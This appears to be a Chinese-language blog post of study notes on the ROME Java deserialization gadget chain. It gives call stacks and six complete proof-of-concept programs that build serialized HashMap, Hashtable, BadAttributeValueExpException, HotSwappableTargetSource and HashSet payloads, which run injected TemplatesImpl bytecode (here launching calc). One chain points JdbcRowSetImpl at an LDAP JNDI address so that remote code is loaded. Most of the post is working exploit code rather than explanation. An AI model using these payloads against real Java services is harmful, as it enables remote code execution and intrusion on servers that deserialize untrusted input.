Rome 链

Rome 链

ROME 是一个用于 RSS 和 Atom 订阅的 Java 框架。它是开源的,并根据 Apache 2.0 许可授权。

ROME 包括一套解析器和生成器,可用于各种形式的聚合提要,以及将一种格式转换为另一种格式的转换器。解析器可以为您提供特定格式的 Java 对象,或者是通用的规范化 SyndFeed 类,让您可以处理数据,而无需考虑传入或传出的 feed 类型。

1
2
3
4
5
<dependency>
<groupId>rome</groupId>
<artifactId>rome</artifactId>
<version>1.0</version>
</dependency>

学习这个主要是为后续触发getter方法做准备

ObjectBean、EqualsBean、ToStringBean都是可利用类

在ToStringBean的toString方法中,大致意思就是传递一个类,获取该类的set或者get方法,并且能够使用invoke调用

启动位置:

ObjetBean.hashCode()

Rome 链的核心在于 ToStringBean#toString(String) 方法会调用一个类的所有公共 getter 和 setter 方法,于是我们让他来调用 TemplatesImpl#getOutputProperties() 方法。

然后就是在fastJson中也能用的老链TemplatesImpl 加载恶意字节码了~

核心调用栈

1
2
3
4
5
6
7
8
TemplatesImpl.getOutputProperties()
ToStringBean.toString(String)
ToStringBean.toString()
EqualsBean.beanHashCode()
EqualsBean.hashCode()
ObjetBean.hashCode()
HashMap<K,V>.hash(Object)
HashMap<K,V>.readObject(ObjectInputStream)

HashMap链

核心在 ToStringBean

调用链分析很简单,没有啥大坑,直接写poc咯~

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
package me.eviden;

import com.sun.syndication.feed.impl.ObjectBean;
import com.sun.syndication.feed.impl.ToStringBean;
import javassist.ClassPool;
import javassist.CtClass;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;

public class Main {
public static void main(String[] args) throws Exception{
String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";

// 利用javassist库来操作字节码,创建恶意类,生成恶意字节码,当然也可后面手动传入~
ClassPool classPool = ClassPool.getDefault();
classPool.appendClassPath(AbstractTranslet);
CtClass payload = classPool.makeClass("dddd");//随便取类名
payload.setSuperclass(classPool.get(AbstractTranslet)); //添加继承父类,才能被TemplatesImpl加载
payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");//添加一个恶意的无参构造方法
byte[] bytes = payload.toBytecode();//生成字节码

// 创建TemplatesImpl对象, 存入恶意字节码
Object templateImpl = Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();
setFiled(templateImpl, "_bytecodes", new byte[][]{bytes});
setFiled(templateImpl, "_name", "test");
setFiled(templateImpl, "_tfactory", null);

// 创建ToStringBean对象
ToStringBean toStringBean = new ToStringBean(Templates.class, templateImpl);
// 创建ObjectBean对象
ObjectBean objectBean = new ObjectBean(ToStringBean.class, toStringBean);
// 创建恶意的hashMap
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put(objectBean, "aaaa");

// 序列化
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ObjectBean.bin"));
objectOutputStream.writeObject(hashMap);
objectOutputStream.close();

// 反序列化
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("ObjectBean.bin"));
objectInputStream.readObject();
objectInputStream.close();
}
//反射设置值
public static void setFiled(Object o, String fieldname, Object value) throws Exception {
Field field = o.getClass().getDeclaredField(fieldname);
field.setAccessible(true);
field.set(o, value);
}
}

HashTable利用链

1
2
3
4
5
6
7
8
TemplatesImpl.getOutputProperties()
ToStringBean.toString(String)
ToStringBean.toString()
EqualsBean.beanHashCode()
EqualsBean.hashCode()
ObjetBean.hashCode()
HashTable.reconstitutionPut()
HashTable.readObject(ObjectInputStream)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
package me.eviden;

import com.sun.syndication.feed.impl.ObjectBean;
import com.sun.syndication.feed.impl.ToStringBean;
import javassist.ClassPool;
import javassist.CtClass;
import me.eviden.util.util;

import javax.xml.transform.Templates;
import java.util.Hashtable;

public class HashTablePoc {
public static void main(String[] args) throws Exception {
String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
ClassPool classPool = ClassPool.getDefault();
classPool.appendClassPath(AbstractTranslet);
CtClass ctClass = classPool.makeClass("HashTablePoc");
ctClass.setSuperclass(classPool.get(AbstractTranslet));
ctClass.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");
byte[] bytes = ctClass.toBytecode();

// 创建TemplatesImpl对象, 存入恶意字节码
Object templateImpl = Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();
util.setFiled(templateImpl,"_bytecodes", new byte[][]{bytes});
util.setFiled(templateImpl,"_name", "test");
util.setFiled(templateImpl,"_tfactory",null);

// 创建ToStringBean对象
ToStringBean toStringBean = new ToStringBean(Templates.class, templateImpl);
// 创建ObjectBean对象
ObjectBean objectBean = new ObjectBean(ToStringBean.class, toStringBean);

//创建hashtable
Hashtable hashtable = new Hashtable();
hashtable.put(objectBean,"hacker");
util.serilize(hashtable,"ser.bin");
// 反序列化
util.unserilize("ser.bin");
}
}

BadAttributeValueExpException利用链

1
2
3
4
TemplatesImpl.getOutputProperties()
ToStringBean.toString(String)
ToStringBean.toString()
BadAttributeValueExpException.readObject()

这个应该是最简单的链了~,首推,也是存在于jdk自带的包

重写了readObject函数然后自动调用了toString

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
ObjectInputStream.GetField gf = ois.readFields();
Object valObj = gf.get("val", null);

if (valObj == null) {
val = null;
} else if (valObj instanceof String) {
val= valObj;
} else if (System.getSecurityManager() == null
|| valObj instanceof Long
|| valObj instanceof Integer
|| valObj instanceof Float
|| valObj instanceof Double
|| valObj instanceof Byte
|| valObj instanceof Short
|| valObj instanceof Boolean) {
val = valObj.toString();
} else { // the serialized object is from a version without JDK-8019292 fix
val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
}
}

注意它的构造方法

1
2
3
public BadAttributeValueExpException (Object val) {
this.val = val == null ? null : val.toString();
}

这个地方不能直接通过实例化对象的时候构造方法传过去我们的恶意ToStringBean ,因为它会先转toString()再把结果赋值给this.val,这样反序列化的时候就不会再触发了,因此我们可以用反射来绕过~

1
2
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
util.setFiled(badAttributeValueExpException, "val", toStringBean);
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
package me.eviden;

import com.sun.syndication.feed.impl.ObjectBean;
import com.sun.syndication.feed.impl.ToStringBean;
import javassist.ClassPool;
import javassist.CtClass;
import me.eviden.util.util;

import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;

/*
TemplatesImpl.getOutputProperties()
ToStringBean.toString(String)
ToStringBean.toString()
BadAttributeValueExpException.readObject()
*/
public class BadAttributeValueExpExceptionPoc {
public static void main(String[] args) throws Exception {
String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
ClassPool classPool = ClassPool.getDefault();
classPool.appendClassPath(AbstractTranslet);
CtClass ctClass = classPool.makeClass("HashTablePoc");
ctClass.setSuperclass(classPool.get(AbstractTranslet));
ctClass.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");
byte[] bytes = ctClass.toBytecode();
// 创建TemplatesImpl对象, 存入恶意字节码
Object templateImpl = Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();
util.setFiled(templateImpl,"_bytecodes", new byte[][]{bytes});
util.setFiled(templateImpl,"_name", "test");
util.setFiled(templateImpl,"_tfactory",null);

// 创建ToStringBean对象
ToStringBean toStringBean = new ToStringBean(Templates.class, templateImpl);
// 创建ObjectBean对象
ObjectBean objectBean = new ObjectBean(ToStringBean.class, toStringBean);

// 创建BadAttributeValueExpException对象
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
util.setFiled(badAttributeValueExpException, "val", toStringBean);
util.serilize(badAttributeValueExpException,"ser.bin");
util.unserilize("ser.bin");
}
}

HotSwappableTargetSource利用链

需要额外依赖

1
2
3
4
5
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-aop</artifactId>
<version>5.2.7.RELEASE</version>
</dependency>

核心在
package com.sun.org.apache.xpath.internal.objects.XString#equals(Object obj2)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public boolean equals(Object obj2)
{

if (null == obj2)
return false;

// In order to handle the 'all' semantics of
// nodeset comparisons, we always call the
// nodeset function.
else if (obj2 instanceof XNodeSet)
return obj2.equals(this);
else if(obj2 instanceof XNumber)
return obj2.equals(this);
else
return str().equals(obj2.toString());
}

验证可行性

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";

// 利用javassist库来操作字节码,创建恶意类,生成恶意字节码,当然也可后面手动传入~
ClassPool classPool = ClassPool.getDefault();
classPool.appendClassPath(AbstractTranslet);
CtClass payload = classPool.makeClass("dddd");//随便取类名
payload.setSuperclass(classPool.get(AbstractTranslet)); //添加继承父类,才能被TemplatesImpl加载
payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");//添加一个恶意的无参构造方法
byte[] bytes = payload.toBytecode();//生成字节码

// 创建TemplatesImpl对象, 存入恶意字节码
Object templateImpl = Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();
util.setField(templateImpl, "_bytecodes", new byte[][]{bytes});
util.setField(templateImpl, "_name", "test");
// util.setField(templateImpl, "_tfactory", null);//这样不太好,手动触发验证的时候无法成功,后面再研究研究
util.setField(templateImpl, "_translet", new TransformerFactoryImpl());

// 创建ToStringBean对象
ToStringBean toStringBean = new ToStringBean(Templates.class, templateImpl);
// 创建ObjectBean对象
ObjectBean objectBean = new ObjectBean(ToStringBean.class, toStringBean);

// toStringBean.toString();
XString tt = new XString("tt");
tt.equals(toStringBean);

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
package me.eviden;
/*
依赖:
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-aop</artifactId>
<version>5.2.7.RELEASE</version>
</dependency>
*/

import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xpath.internal.objects.XString;
import com.sun.syndication.feed.impl.ObjectBean;
import com.sun.syndication.feed.impl.ToStringBean;
import javassist.ClassPool;
import javassist.CtClass;
import me.eviden.util.util;
import org.springframework.aop.target.HotSwappableTargetSource;

import javax.xml.transform.Templates;

/*
TemplatesImpl.getOutputProperties()
ToStringBean.toString(String)
ToStringBean.toString
XString.equals()
HotSwappableTargetSource.equals()
HashMap.putVal()
HashMap.readObject()

没有hashCode方法了,可以看到对hashmap那条链精简了一些
*/
public class HotSwappableTargetSourcePoc {
public static void main(String[] args) throws Exception {
String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";

// 利用javassist库来操作字节码,创建恶意类,生成恶意字节码,当然也可后面手动传入~
ClassPool classPool = ClassPool.getDefault();
classPool.appendClassPath(AbstractTranslet);
CtClass payload = classPool.makeClass("dddd");//随便取类名
payload.setSuperclass(classPool.get(AbstractTranslet)); //添加继承父类,才能被TemplatesImpl加载
payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");//添加一个恶意的无参构造方法
byte[] bytes = payload.toBytecode();//生成字节码

// 创建TemplatesImpl对象, 存入恶意字节码
Object templateImpl = Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();
util.setField(templateImpl, "_bytecodes", new byte[][]{bytes});
util.setField(templateImpl, "_name", "test");
// util.setField(templateImpl, "_tfactory", null);//这样不太好,手动触发验证的时候无法成功,后面再研究研究
util.setField(templateImpl, "_tfactory", new TransformerFactoryImpl());

// 创建ToStringBean对象
ToStringBean toStringBean = new ToStringBean(Templates.class, templateImpl);
// 创建ObjectBean对象
ObjectBean objectBean = new ObjectBean(ToStringBean.class, toStringBean);

// 创建HotSwappableTargetSource
HotSwappableTargetSource targetSource1 = new HotSwappableTargetSource(toStringBean);
HotSwappableTargetSource targetSource2 = new HotSwappableTargetSource(new XString("aaa"));

// 创建HashMap
java.util.HashMap hashMap = new java.util.HashMap<Object,Object>();
hashMap.put(targetSource1, "111");
hashMap.put(targetSource2, "222");
util.serilize(hashMap,"ser.bin");
util.unserilize("ser.bin");
}
}

JdbcRowSetImpl利用链

fastJson中出现一样的链,因为都是触发的getter方法.只是fastJson中要求更高点

配合个jndi进去就行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
package me.eviden;

import com.sun.rowset.JdbcRowSetImpl;
import com.sun.syndication.feed.impl.ObjectBean;
import com.sun.syndication.feed.impl.ToStringBean;
import me.eviden.util.util;

import javax.sql.rowset.BaseRowSet;
import java.lang.reflect.Field;
import java.util.HashMap;
/*
JdbcRowSetImpl.connect()
JdbcRowSetImpl.getDatabaseMetaData()
ToStringBean.toString(String)
ToStringBean.toString()
EqualsBean.beanHashCode()
EqualsBean.hashCode()
ObjetBean.hashCode()
HashMap<K,V>.hash(Object)
HashMap<K,V>.readObject(ObjectInputStream)
*/
public class JdbcRowSetImplPoc {
public static void main(String[] args) throws Exception {
// ldap url
String url = "ldap://192.168.0.111:1389/uaj4pd";

// 创建JdbcRowSetImpl对象
JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
Field dataSource = BaseRowSet.class.getDeclaredField("dataSource");
dataSource.setAccessible(true);
dataSource.set(jdbcRowSet, url);

// 创建ToStringBean对象
ToStringBean toStringBean = new ToStringBean(JdbcRowSetImpl.class, jdbcRowSet);
// 创建ObjectBean
ObjectBean objectBean = new ObjectBean(ToStringBean.class, toStringBean);

// 创建HashMap
HashMap hashMap = new HashMap();
hashMap.put(objectBean, "bbbb");
util.serilize(hashMap, "JdbcRowSetImpl.bin");
// 反序列化
util.unserilize("JdbcRowSetImpl.bin");
}
}

EqualsBean利用链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
package me.eviden;

import com.sun.syndication.feed.impl.EqualsBean;
import javassist.ClassPool;
import javassist.CtClass;
import me.eviden.util.util;

import javax.xml.transform.Templates;
import java.util.HashMap;
import java.util.HashSet;

/*
TemplatesImpl.getOutputProperties()
EqualsBean.beanEquals()
EqualsBean.equals()
AbstractMap.equals()
HashMap.putVal()
HashMap.put()
HashSet.readObject()
*/
public class EqualsBeanPoc {
public static void main(String[] args)throws Exception {
String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";

// 创建恶意类
ClassPool classPool = ClassPool.getDefault();
classPool.appendClassPath(AbstractTranslet);
CtClass ctClass = classPool.makeClass("cccc");
ctClass.setSuperclass(classPool.get(AbstractTranslet));
ctClass.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");
byte[] bytes = ctClass.toBytecode();

// 创建TemplatesImpl对象
Object templateImpl = Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();
util.setField(templateImpl, "_bytecodes", new byte[][]{bytes});
util.setField(templateImpl, "_name", "test");
util.setField(templateImpl, "_tfactory", null);

EqualsBean bean = new EqualsBean(String.class, "s");

HashMap map1 = new HashMap();
HashMap map2 = new HashMap();
map1.put("yy", bean);
map1.put("zZ", templateImpl);
map2.put("zZ", bean);
map2.put("yy", templateImpl);
HashSet table = new HashSet();
table.add(map1);
table.add(map2);

util.setField(bean, "_beanClass", Templates.class);
util.setField(bean, "_obj", templateImpl);
util.serilize(table,"ser.bin");
util.unserilize("ser.bin");
}
}

:这里的HashMap、HashSet、HashTable都可以相互替换

这里几个put操作详情可以看之前的操作: cc5+cc7链学习调试也是越来越顺手了哈,继续加油